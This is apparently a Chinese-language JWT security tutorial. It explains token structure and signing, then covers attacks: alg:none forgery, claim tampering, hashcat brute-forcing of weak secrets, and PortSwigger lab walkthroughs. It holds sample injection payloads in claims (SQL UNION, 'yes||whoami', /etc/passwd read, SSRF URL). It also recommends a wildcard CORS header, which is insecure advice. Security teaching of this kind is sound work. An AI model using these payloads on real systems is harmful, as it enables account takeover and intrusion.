JWT是什么?
JWT全称是JSON Web Token,时RFC 7519定义的一种紧凑、URL安全的声明传输格式。常被用于身份认证、会话管理、API鉴权和微服务之间的身份传递。
例如用户登录成功后,服务器可以生成一枚JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 . eyJzdWIiOiIxMDAxIiwidXNlcm5hbWUiOiJsYWluIiwicm9sZSI6InVzZXIifQ . example_signature
客户端后续访问接口时携带它
GET /api/profile HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
服务器验证JWT的签名和相关声明,确认令牌可信后,再根据其中的用户身份和权限处理请求
明确两个容易混淆的概念:JWT时令牌格式,不是登录协议,也不是加密算法#
JWT的三段结构
常见的JWT实际上采用的是JWS Compact Serializatoin,由三个Base64URL字符串组成
Header.Payload.Signature
JWS用数字签名或消息认证码保护内容的完整性;如果需要对内容进行加密,则应使用JWE。JWS与JWE是不同的标准
Header:头部
头部说明令牌使用的算法及类型
{
"alg": "HS256",
"typ": "JWT"
}
常见字段
alg:签名算法,如 HS256、RS256、ES256typ:令牌类型,通常为 JWTkid:密钥编号,服务器用它选择验证密钥jwk:直接携带 JSON Web Keyjku:JWK Set 的地址x5u:X.509 证书链地址
其中,JWK是使用JSON表示密码学密钥的标准格式,多个JWK可以组成JWK Set
Payload:载荷
Payload保存JWT的声明,即Claims
{
"iss": "https://auth.example.com",
"sub": "1001",
"aud": "order-api",
"username": "lain",
"role": "user",
"iat": 1783910400,
"exp": 1783911300,
"jti": "0c33c7da"
}
常见的声明标准
| 声明 | 含义 |
|---|
iss | Issuer,签发者 |
sub | Subject,令牌代表的主体 |
aud | Audience,令牌预期接收方 |
exp | Expiration Time,过期时间 |
nbf | Not Before,在该时间之前不可使用 |
iat | Issued At,签发时间 |
jti | JWT ID,令牌唯一编号 |
Signature:签名
签名输入通常是:Base64URL(Header) + “.” + Base64URL(Payload),而Signature = HMAC-SHA256(签名输入, Secret)。这里也恰好说明了一点,JWT是否可信依靠的是算法对应使用的密钥,那么正常情况伪造JWT第一步就是获取对应的密钥。
Payload = 身份证上的文字
Signature = 防伪印章
Secret / 私钥 = 制作防伪印章的核心密钥
以HS256为例:HMAC-SHA256( Base64URL(Header) + “.” + Base64URL(Payload), secret )
最终JWT为Base64URL(Header) + “.” + Base64URL(Payload) + “.” + Base64URL(Signature)
签名的作用是:
1.检测Header或Payload是否被修改
2.证明令牌由掌握密钥的一方签发
3.防止攻击者直接伪造身份和权限声明
Base64URL
JWT中的Header和Payload通常只是Base64URL编码
Base64URL与普通Base64的主要区别是:+ 替换为 – ;/ 替换为 _; 通常省略末尾的 =
因此任何获得JWT的人都可以解码Payload,所以JWT Payload中不应该存放:用户密码、私钥或API密钥等敏感信息。至于签名,签名只保护了完整性,不提供保密性。
JWT工作流程
用户携带用户名和密码请求访问;
- 服务器校验用户凭据;
- 应用提供一个 token 给客户端;
- 客户端存储 token,并且在随后的每一次请求中都带着它;
- 服务器校验 token 并返回数据。
需要注意问题:
- 每一次请求都需要 token;
- Token 应该放在请求 header 中;
- 需要将服务器设置为接受来自所有域的请求,用 Access-Control-Allow-Origin: *。
JWT攻击手法
完全没有验证签名
服务端只是解码JWT
DecodedJWT jwt = JWT.decode(token); String role = jwt.getClaim("role").asString();
没有调用真正的验证函数
这时攻击者可以把
{
"role": "user"
}
修改为
{
"role": "admin"
}
签名为空
JWT第一部分含有alg字段,该字段指定生成签名采用哪种哈希算法,如果某站使用的是HS256,可将该字段篡改为none,某些JWT的实现,一旦发现alg为none,将不再生成哈希签名,自然不存在校验签名一说,直接将payload里的username改为admin即可篡改用户信息

将头部alg的值修改为none,接着修改payload内容编码复制前两部分即可,最后一部分因为alg:none所以不存在

爆破弱密钥
将JWT内容保存至jwt.txt文档内
用kali自带的字典或者字典:https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list进行爆破
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 jwt数据文件 爆破jwt的字典
爆破出密钥之后即可修改JWT进行越权等
未验证签名导致越权

直接修改userid编码即可

JWT常见漏洞利用
通过爆破出key以后,可以利用JWT进行漏洞测试
水平越权
把1234567890改为1234567891
{
"sub": "1234567890",
"name": "0xShe",
"sysadmin": "N",
"iat": 1690989833
}
垂直越权
把sysadmin的值N改为Y(NO改为YES或者false改为true)
{
"sub": "1234567890",
"name": "0xShe",
"sysadmin": "Y",
"iat": 1690989833
}
SQL注入
{
"sub": "1234567890",
"name": "0xShe",
"data": "1' UNION SELECT 'key';-- ",
"iat": 1690989833
}
命令执行
{
"sub": "1234567890",
"name": "0xShe",
"echo": "yes||whoami",
"iat": 1690989833
}
文件读取
{
"sub": "1234567890",
"name": "0xShe",
"path": "/etc/passwd",
"iat": 1690989833
}
SSRF
{
"url": "http://www.DNSlog.cn/",
"iat": 1690989833
}
靶场实战
未经验证的签名绕过JWT身份验证
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature
进入靶场点击登录

普通账号/密码:wiener/peter

登录后用BP抓包看看,很明显的三段JWT

对JWT内容进行解密查看内容

直接修改sub值为administrator


有缺陷的签名验证绕过JWT身份验证
将alg更改为none,sub改为administrator


弱签名密钥绕过JWT身份验证
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key
一样的登录普通用户账号然后对JWT内容进行解码查看

这里不清楚使用的密钥,若不知道对应密钥那么伪造的JWT将不会被服务器所认可,所以对密钥进行爆破













